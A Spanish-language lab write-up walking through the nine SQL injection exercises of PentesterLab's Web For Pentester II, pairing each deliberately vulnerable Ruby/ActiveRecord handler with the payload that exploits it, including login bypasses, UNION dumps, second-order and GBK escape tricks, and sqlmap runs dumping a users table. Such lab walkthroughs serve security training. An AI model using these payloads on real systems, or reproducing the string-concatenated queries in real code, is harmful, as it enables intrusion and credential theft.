[Pentesterlab write-up] Web For Pentester II - SQLi

No creáis que ceso en mi empeño de seguir haciendo labs, concretamente de Pentesterlab he hecho ya casi todos (los gratuitos), sólo que no quiero inundar el blog con mil y un solucionarios. Es más, os animo a hacerlos vosotros mismos y practicar, pero sobretodo a disfrutar el camino como meta.

No obstante, si que iré publicando algunos de los que más interesantes me parezcan. En este caso Web for Pentester II, al igual que la primera serie que vimos, más que un laboratorio es una serie de ejercicios para aprender a explotar las vulnerabilidades web más comunes, así que creo que es bastante interesante porque resulta tremendamente didáctico. También contribuiremos a ello añadiendo a cada ejemplo el código del lado del servidor, lo cual "clarea la caja" pero ayuda a adquirir un mayor nivel de compresión.

Además en esta ocasión dejamos un lado PHP para trabajar con Ruby así que ¡manos a la obra!


Ejercicio 1:

El primer ejemplo es el más sencillo y tendremos que evadir la autenticación sin pasar ningún usuario o contraseña. Si inyectamos una comilla simple en seguida obtendremos el mensaje de error de la base de datos:


Con el mensaje de error ya tendremos la consulta, como podremos comprobar en el código del lado del servidor:

SERVIDOR:
...
 get '/' do
    res = [] 
    if params['username'] && params['password']
      begin 
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db
        res = ActiveRecord::Base.connection.execute(sql).to_a 
      rescue Exception => e
        @message = e.to_s 
      end
    end
    if res.size > 0 
      erb :index
    else
      erb :login
    end
  end
  ...

Por lo tanto, obtener el payload es 'SELECT * FROM users WHERE username='' or 1=1#  es bastante trivial (tenemos que setear que siempre sea true).

PAYLOAD:
' or 1=1#

Ejercicio 2:

Este ejemplo es  la misma vulnerabilidad que la anterior pero el desarrollador se ha asegurado que solo se devuelva un usuario limitando la salida de la base de datos a la página.

SERVIDOR:
...
get '/' do
    res = [] 
    if params['username'] && params['password']
      begin 
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db
        res = ActiveRecord::Base.connection.execute(sql).to_a 
      rescue Exception => e
        @message = e.to_s 
      end
    end
    if res.size == 1 
      erb :index
    else
      erb :login
    end
  end
...

Para explotarla necesitaremos hacer uso de limit en SQL que limita la cantidad de registros recibidos por la query.

PAYLOAD:
 ‘ or 1=1 LIMIT 1#
   
Ejercicio 3:

En el siguiente ejercicio se escapa la comilla simple ('):

SERVIDOR:
...
  get '/' do
    res = [] 
    if params['username'] && params['password']
      begin 
        params['username'].gsub!("'","")
        params['password'].gsub!("'","")
        sql = "SELECT * FROM users WHERE username='"+params['username']+"'"
        sql+= " AND password='"+params['password']+"'"
        ActiveRecord::Base.establish_connection self.class.db 
       res = ActiveRecord::Base.connection.execute(sql).to_a 
      rescue Exception => e
        @message = e.to_s 
      end
    end
    if res.size > 0 
      erb :index
    else
      erb :login
    end
  end
...

En este caso podemos usar la barra diagonal (\) para escapar la la comilla simple y comtinuar con la sentencia SQL, al que añadiremos la inyección ’ or 1=1# en el campo de la contraseña.

 select * from users where username =’\ ‘ and password =’ or 1=1#

Ahora solo tenemos que inyectar el código:

PAYLOAD:
\
’ or 1=1#

Ejercicio 4:

En este ejemplo la información se pasa por la URL, donde podemos ver fácilmente la consulta.

http://vulnerable/sqlinjection/example4/?req=username%3d%27hacker%27

Decodeando la URL sería:

http://vulnerable/sqlinjection/example4/?req=username='hacker'

SERVIDOR:
...
  get '/' do
    @res = [] 
    if params['req'] 
      begin 
        ActiveRecord::Base.establish_connection "sqlinjection_example4"
        sql = "SELECT * FROM users WHERE #{params['req']};"
        @res = ActiveRecord::Base.connection.execute(sql).to_a 
      rescue Exception => e
        @message = e.to_s 
      end
    end
    erb :index
    end
...


Para explotar esta página tenemos que poner el mismo payload  que antes ('o 1 = 1 #) en la URL.

PAYLOAD:
'' or 1=1#'

http://vulnerable/sqlinjection/example4/?req=username%3d%27%27%20or%201=1#%27


Ejercicio 5:

En este ejemplo la sentencia consulta toda la tabla users pero la salida es limitada por LIMIT:

SERVIDOR:
...
 get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample5.db
    if params[:limit] 
      begin 
        sql = "SELECT * FROM users LIMIT #{params[:limit]};"
        @res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s 
      end
    else
      sql = "SELECT * FROM users"
      @res = ActiveRecord::Base.connection.execute(sql).to_a
    end
    erb :index
  end
...

Para mostrar todos los usuarios necesitamos usar una inyección de SQL basada en union:

PAYLOAD:
 union all select * from users

http://vulnerable/sqlinjection/example5/?limit=3%20union%20all%20select%20*%20from%20users


Evidentemente también podríamos quitar o modificar el LIMIT a 4.

Ejercicio 6:

El ejercicio 6 es similar al anterior pero utiliza GROUP BY:

http://vulnerable/sqlinjection/example6/?group=username

SERVIDOR:
...
 get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample6.db
    if params[:group] 
      begin 
        sql = "SELECT * FROM users GROUP BY #{params[:group]};"
        @res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s 
      end
    else
      sql = "SELECT * FROM users"
      @res = ActiveRecord::Base.connection.execute(sql).to_a
    end
    erb :index
  end
...

En este caso podemos volver a usar UNION o quitar directamente el GROUP BY de la URL.

PAYLOAD:
http://vulnerable/sqlinjection/example6/?union all select * from users

http://vulnerable/sqlinjection/example6/?

Ejercicio 7:

En este ejemplo, se realizan dos consultas, la primera consulta recupera los detalles del usuario basados en el parámetro ID. El segundo usa el nombre de usuario del registro obtenido previamente para recuperar el usuario.

SERVIDOR:
...

  get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample6.db
    if params[:id] 
      begin 
        sql = "SELECT * FROM users WHERE id=#{params[:id]}"
        @r = ActiveRecord::Base.connection.execute(sql).to_a
        if @r.size == 1
          name = @r.first[1]
          sql = "SELECT * FROM users WHERE username='#{name}'"
          @res = ActiveRecord::Base.connection.execute(sql).to_a
        else
          raise Exception, "Should only return one user..."
        end
      rescue Exception => e
        @message = e.to_s 
      end
    else
      sql = "SELECT * FROM users"
      @res = ActiveRecord::Base.connection.execute(sql).to_a
    end
    erb :index
  end
...

Para explotar esta vulnerabilidad necesitaremos usar inyecciones SQL ciegas. Sin embargo, dado que se muestran los mensajes de error , podemos usar también inyecciones basadas en error.
Al inyectar una declaración propensa a errores, podemos obtener Información directamente en los mensajes de error en lugar de utilizar un SQLi ciega

PAYLOAD:
sqlmap -u http://vulnerable/sqlinjection/example7/?id=1

[01:42:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 6.0 (squeeze)
web application technology: Apache 2.2.16
back-end DBMS: MySQL >= 5.0
[01:42:31] [INFO] fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable'

sqlmap -u http://vulnerable/sqlinjection/example7/?id=1 --tables -D sqlinjection_example7

Database: sqlinjection_example7
[1 table]
+-------+
| users |
+-------+

sqlmap -u http://vulnerable/sqlinjection/example7/?id=1 -D sqlinjection_example7 -T users --dump

Database: sqlinjection_example7
Table: users
[13 entries]
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
| 1  | user1    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 2  | user1    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 3  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 4  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 5  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 6  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 7  | user3    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 8  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 9  | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 10 | user2    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 11 | user4    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 12 | user4    | 19418cb4fdfbe026c47b21f90ffddf9a |
| 13 | user4    | 19418cb4fdfbe026c47b21f90ffddf9a |
+----+----------+----------------------------------+

[01:46:32] [INFO] table 'sqlinjection_example7.users' dumped to CSV file '/home/vmotos/.sqlmap/output/vulnerable/dump/sqlinjection_example7/users.csv'
[01:46:32] [INFO] fetched data logged to text files under '/home/vmotos/.sqlmap/output/vulnerable'

Por supuesto, si quitamos el id también nos mostrará todos los usuarios de la tabla.

Ejercicio 8:

Esta es una inyección SQL de segundo orden, esto significa que la página está  filtrando la entrada del usuario, pero no los datos en el bd, con el fin de evadir ésto tendremos que hacerlo en 2 pasos

SERVIDOR:
...
 get '/' do
    @users = User.all
    erb :index
  end
 
  get "/users/:id" do
    ActiveRecord::Base.establish_connection SQLInjectionExample8.db
    @user = User.find(params[:id])
    if @user    
      begin 
        sql = "SELECT * FROM users WHERE username='#{@user.username}' "
        @res = ActiveRecord::Base.connection.execute(sql).to_a[0]
        erb :user
      rescue Exception => e
        @message = e.to_s
      end
    end  
  end

  post '/user' do
    User.create(:username => params[:user], :password => Digest::MD5.hexdigest(SEED+params["password"]+SEED))
    redirect SQLInjectionExample8.path
  end
end
...

- En primer lugar, tendremos que crear un usuario con el código que deseamos inyectar en la petición (payload)
- Acceder con el usuario para activar el payload

PAYLOAD:
password: 1 or 1=1--

Ejercicio 9:

Este último ejemplo muestra una página que utiliza mysql-real-escape-string,  una función PHP que elimina cualquier carácter de escape de un campo dado, bloqueando las inyecciones de los atacantes en los campos del formulario y URL.

SERVIDOR:
...
 get '/' do
    ActiveRecord::Base.establish_connection SQLInjectionExample9.db
    res = []
    if params['username'] && params['password'] 
      begin
        sql= "SET CHARACTER SET 'GBK';" 
        ActiveRecord::Base.connection.execute(sql)
        name = ActiveRecord::Base.connection.quote_string(params[:username])
        password = Digest::MD5.hexdigest(SEED+ActiveRecord::Base.connection.quote_string(params[:password]+SEED))
        sql = "SELECT * FROM users WHERE username='#{name}'"
        sql+= " AND password='"+password+"'"
        res = ActiveRecord::Base.connection.execute(sql).to_a
      rescue Exception => e
        @message = e.to_s 
      end
    end
    pp res
    if res.size > 0
      erb :index
    else
      erb :login
    end
  end
  
end
...

Sin embargo, esta función falla si la base de datos y la configuración de la conexión no están usando el mismo juego de caracteres. En este caso, si la conexión le permite insertar un conjunto de caracteres desde el GBK (GBK es un  conjunto de caracteres para el chino simplificado), la función no  escapará  los caracteres insertados porque son válidos y la base de datos recibirá el payload.

PAYLOAD:
呵' or 1=1 #




Y hasta aquí los ejercicios de SQLi, nos "vemos" en los siguientes.


[Pentesterlab write-ups by Hackplayers] Web For Pentester II:

SQL Injections
Authentication
Captcha
Authorization & Mass Assignment
Randomness Issues & MongoDB injection

Comentarios